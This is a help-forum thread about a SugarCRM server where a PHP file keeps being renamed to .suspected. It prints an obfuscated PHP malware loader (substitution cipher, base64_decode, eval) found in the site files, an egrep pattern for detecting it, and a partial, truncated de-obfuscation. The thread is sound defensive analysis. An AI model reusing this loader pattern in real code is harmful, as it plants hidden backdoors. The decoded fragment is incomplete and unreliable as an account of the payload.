php file automatically renamed to php.suspected

Question

Since last 4 days, we are facing strange issue on our Production server (AWS EC2 instance) specific to only one site which is SugarCRM.

Issue is /home/site_folder/public_html/include/MassUpdate.php file is renamed automatically to /home/site_folder/public_html/include/MassUpdate.php.suspected

This happens 2-3 times in a day with 3-4 hours of gap. This issue occurs only in case of specific site, even it doesn't occur for staging replica of the same site. I even checked code of that file from both sites, it's same.

We have Googled and found, such issue occurs mostly for Wordpress sites and it could be because of attack. But we checked our server against the attack, there isn't any. Also there is no virus/malware scan running on server.

What should we do?

Update: We found few things after going through this link We executed egrep -Rl 'function.*for.*strlen.*isset' /home/username/public_html/ And found that there are few files with following sample code.

    <?php
function flnftovr($hkbfqecms, $bezzmczom){$ggy = ''; for($i=0; $i < strlen($hkbfqecms); $i++){$ggy .= isset($bezzmczom[$hkbfqecms[$i]]) ? $bezzmczom[$hkbfqecms[$i]] : $hkbfqecms[$i];}
$ixo="base64_decode";return $ixo($ggy);}
$s = 'DMtncCPWxODe8uC3hgP3OuEKx3hjR5dCy56kT6kmcJdkOBqtSZ91NMP1OuC3hgP3h3hjRamkT6kmcJdkOBqtSZ91NJV'.
'0OuC0xJqvSMtKNtPXcJvt8369GZpsZpQWxOlzSMtrxCPjcJvkSZ96byjbZgtgbMtWhuCXbZlzHXCoCpCob'.'zxJd7Nultb4qthgtfNMtixo9phgCWbopsZ1X=';
$koicev = Array('1'=>'n', '0'=>'4', '3'=>'y', '2'=>'8', '5'=>'E', '4'=>'H', '7'=>'j', '6'=>'w', '9'=>'g', '8'=>'J', 'A'=>'Y', 'C'=>'V', 'B'=>'3', 'E'=>'x', 'D'=>'Q', 'G'=>'M', 'F'=>'i', 'I'=>'P', 'H'=>'U', 'K'=>'v', 'J'=>'W', 'M'=>'G', 'L'=>'L', 'O'=>'X', 'N'=>'b', 'Q'=>'B', 'P'=>'9', 'S'=>'d', 'R'=>'I', 'U'=>'r', 'T'=>'O', 'W'=>'z', 'V'=>'F', 'Y'=>'q', 'X'=>'0', 'Z'=>'C', 'a'=>'D', 'c'=>'a', 'b'=>'K', 'e'=>'o', 'd'=>'5', 'g'=>'m', 'f'=>'h', 'i'=>'6', 'h'=>'c', 'k'=>'p', 'j'=>'s', 'm'=>'A', 'l'=>'R', 'o'=>'S', 'n'=>'u', 'q'=>'N', 'p'=>'k', 's'=>'7', 'r'=>'t', 'u'=>'2', 't'=>'l', 'w'=>'e', 'v'=>'1', 'y'=>'T', 'x'=>'Z', 'z'=>'f');
eval(flnftovr($s, $koicev));?>

Seems some malware, how we go about removing it permanently?

Thanks

Answer 1

It's somewhat obfuscated, but I've de-obfuscated it.The function flnftovr takes a string and an array as arguments. It creates a new string $ggy using the formula

isset($array[$string[$i]]) ? $array[$string[$i]] : $string[$i];}

It then preppends base64_decode to the string.

The string is $s, the array is $koicev. It then evals the result of this manipulation. So eventually a string gets created:

base64_decode(QGluaV9zZXQoJ2Vycm9yX2xvZycsIE5VTEwpOwpAaW5pX3NldCgnbG9nX2Vycm9ycycsIDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKCmlmKGlzc2V0KCRfU0VSVkVSKfZW5jb2RlKHNlcmlhbGl6ZSgkcmVzKSk7Cn0=)

So what actually gets run on your server is:

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@set_time_limit(0);

if(isset($_SERVER)
encode(serialize($res));
}

If you didn't create this and you suspect your site has been hacked, I'd suggest you wipe the server, and create a new installation of whatever apps are running on your server.